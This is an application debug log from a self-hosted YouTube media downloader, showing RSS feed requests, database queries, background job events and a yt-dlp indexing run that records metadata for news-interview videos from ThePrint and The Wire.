QUERY OK source="media_metadata" db=0.4ms queue=0.2ms idle=1104.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:30:51.750 [info] Sent 200 in 6ms 21:30:58.346 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:30:58.346 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:30:58.348 [debug] QUERY OK source="sources" db=1.0ms queue=0.2ms idle=1480.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:30:58.350 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=1482.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:30:58.352 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1485.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:30:58.353 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=1486.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:30:58.406 [info] Sent 200 in 60ms 21:31:00.090 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:31:00.699 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:30.701 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:59.597 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 21:32:00.092 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:32:00.704 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:30.706 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.094 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:33:00.709 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:30.711 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.097 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:34:00.713 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:30.715 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:59.618 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 21:35:00.098 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:35:00.718 [info] {"source":"oban","duration":1931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:30.720 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.100 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:36:00.723 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:14.475 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:36:14.476 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:36:14.478 [debug] QUERY OK source="sources" db=1.7ms idle=610.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:36:14.482 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=614.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:36:14.484 [debug] QUERY OK source="source_metadata" db=0.7ms idle=617.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:36:14.486 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.1ms idle=618.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:36:14.486 [info] Sent 200 in 11ms 21:36:27.403 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:36:27.404 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:36:27.406 [debug] QUERY OK source="sources" db=0.7ms idle=1538.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:36:27.408 [debug] QUERY OK source="media_items" db=1.0ms idle=1540.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:36:27.410 [debug] QUERY OK source="source_metadata" db=1.4ms idle=1542.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:36:27.411 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.2ms idle=966.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:36:27.412 [info] Sent 200 in 8ms 21:36:30.725 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.102 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:37:00.727 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:30.729 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.105 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:38:00.731 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:30.733 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.116 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:39:00.735 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:30.738 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.117 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:40:00.742 [info] {"source":"oban","duration":1909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:21.040 [info] {"args":{"id":1},"id":97,"meta":{},"system_time":1768081221038578258,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 21:40:21.042 [debug] QUERY OK source="sources" db=1.2ms queue=0.2ms idle=1174.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:40:21.044 [debug] QUERY OK source="settings" db=1.1ms queue=0.2ms idle=1030.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:40:21.048 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=179.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 21:40:21.070 [debug] QUERY OK source="media_items" db=1.4ms queue=0.3ms idle=36.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 21:40:21.072 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.1ms idle=33.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:40:21.088 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=45.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:40:21.133 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 21:40:21.135 [debug] Current batch of media processed. Will check again in 1000ms 21:40:21.136 [debug] QUERY OK source="settings" db=1.5ms queue=0.2ms idle=89.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:40:21.137 [debug] QUERY OK source="settings" db=1.1ms idle=88.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:40:21.139 [debug] QUERY OK source="settings" db=0.9ms queue=0.5ms idle=67.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:40:21.141 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b0/e2/b0e23a9ecf385049b13761501e56f7ef2a1470e0ebf9b42f3ec2c0079d63aa71.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:40:22.136 [debug] Current batch of media processed. Will check again in 1000ms 21:40:23.137 [debug] Current batch of media processed. Will check again in 1000ms 21:40:24.138 [debug] Current batch of media processed. Will check again in 1000ms 21:40:25.139 [debug] Current batch of media processed. Will check again in 1000ms 21:40:26.140 [debug] Current batch of media processed. Will check again in 1000ms 21:40:27.141 [debug] Current batch of media processed. Will check again in 1000ms 21:40:28.143 [debug] Current batch of media processed. Will check again in 1000ms 21:40:29.144 [debug] Current batch of media processed. Will check again in 1000ms 21:40:30.145 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 21:40:30.147 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1280.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 21:40:30.149 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1282.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:40:30.217 [debug] QUERY OK source="media_items" db=67.8ms idle=1039.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 21:40:30.229 [debug] QUERY OK source="media_items" db=10.0ms idle=352.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "32e2f39e-c964-437f-acca-fc58ad8baa72", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 21:40:30Z], ~U[2026-01-10 21:40:30Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 21:40:30.230 [debug] QUERY OK source="sources" db=0.8ms idle=117.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:40:30.249 [debug] QUERY OK source="media_profiles" db=17.9ms queue=0.1ms idle=83.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:40:30.251 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=100.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 21:40:30.251 [debug] Current batch of media processed. Will check again in 1000ms 21:40:30.782 [info] {"source":"oban","duration":39462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:31.252 [debug] Current batch of media processed. Will check again in 1000ms 21:40:32.253 [debug] Current batch of media processed. Will check again in 1000ms 21:40:33.254 [debug] Current batch of media processed. Will check again in 1000ms 21:40:34.256 [debug] Current batch of media processed. Will check again in 1000ms 21:40:35.257 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "duration" => 2570, "filename" => "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", "id" => "NDVG7q8x7Ms", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 